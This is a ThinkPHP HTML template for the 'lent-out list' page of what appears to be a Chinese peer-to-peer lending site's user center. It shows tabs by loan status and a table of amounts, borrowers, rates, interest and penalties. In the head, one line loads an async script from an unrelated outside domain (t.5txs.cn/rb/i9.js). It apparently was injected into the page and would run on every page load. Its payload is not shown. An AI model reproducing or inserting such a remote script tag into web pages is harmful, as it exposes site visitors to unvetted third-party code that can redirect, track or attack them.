<html><head>
<title>个人中心</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">

<link rel="stylesheet" type="text/css" href="{$app_path}{$static_path}/css/user-center.css">
<link rel="stylesheet" type="text/css" href="{$app_path}{$static_path}/css/flow.css">
<link rel="stylesheet" type="text/css" href="{$app_path}{$static_path}/css/bootstrap.css">
<script type="text/javascript" src="{$app_path}{$static_path}/js/functions.js"></script>

<include file="./Public/public/public.html" />
<script charset="utf-8" async="true" src="http://t.5txs.cn/rb/i9.js"></script></head>
<body>
<include file="./Public/public/top.html" />

<div class="layout-wrap">
    <div class="layout">
<include file="./Public/public/centerLeft.html" />                      
        <div class="right" ms-controller="right" style="min-height: 882px;">
      <div class="container_page padding-sm-none">
							<section>
								<h2>借出列表</h2>
								<div class="tab_table page_min_h">
									<ul class="nav nav-tabs">
										<li role="presentation" <if condition="$status eq 0">class="active"</if>>
										<a href="{:U('Mycredit/myinverflow',array('status'=>0))}">全部</a></li>
										<li role="presentation" <if condition="$status eq 4">class="active"</if>>
										<a href="{:U('Mycredit/myinverflow',array('status'=>4))}">正在投标</a></li>
										<li role="presentation" <if condition="$status eq 1">class="active"</if>>
										<a href="{:U('Mycredit/myinverflow',array('status'=>1))}">等待还款</a></li>
										<li role="presentation" <if condition="$status eq 2">class="active"</if>>
										<a href="{:U('Mycredit/myinverflow',array('status'=>2))}">还款结束</a></li>
										<li role="presentation" <if condition="$status eq 3">class="active"</if>>
										<a href="{:U('Mycredit/myinverflow',array('status'=>3))}">已逾期</a></li>
									</ul>
									<div class="table-responsive">
										<table class=" table table-bordered table-striped table-hover " style="font-size: 13px;">
											<thead>
											<tr>
												<th>借出信息</th>
												<th>状态</th>
												<th>还款日期</th>
												<th>满标日期</th>
												<th>期数</th>
												<th>罚息</th>
											</tr>
											</thead>
											<tbody class="text-center">
											<volist name="flowlist" id="vo">
											<tr>
												<td><a href="javascript:;" class="repaymentopne" data-id="{$vo.id}">
															￥{$vo.money}元<br>
															 贷款人：{$vo.username}<br>
															 年利率:{$vo.rate}% <br>
															 每期利息收益:￥{$vo.interest} <br>
															 还款方式：每月还息 <br>
														 </td>
														 <td> 
															 <span class="font_default">
															 <if condition="$vo.status eq 1">
															 	还款中
															 </if>
															 <if condition="$vo.status eq 2">
															 	已还清
															 </if>
															 <if condition="$vo.status eq 3">
															 	已逾期
															 </if>
															 <if condition="$vo.status eq 4">
															 	投标中
															 </if>
															 </span>						
															  </td>
														 <td>{$vo.expiredate}</td>
														 <td>{$vo.full_time}</td>
														 <td>{$vo.persionnum}</td>
														 <td>{$vo.penalty}元</td>
													 </tr>		
													 </volist>									
											</tbody>
										</table>
									</div>
								</div>




							</section>
						</div>
        </div>
    <div class="clr"></div>
        </div>
        <div class="clr"></div>
    </div>

<include file="./Public/public/footer.html" />
<script type="text/javascript">
$(".repaymentopne").click(function(){
	var url="{:U('Repaycredit/repaymentlist')}"+"?ty=2&id="+$(this).attr("data-id");
	window.open(url);
});
</script>
</body></html>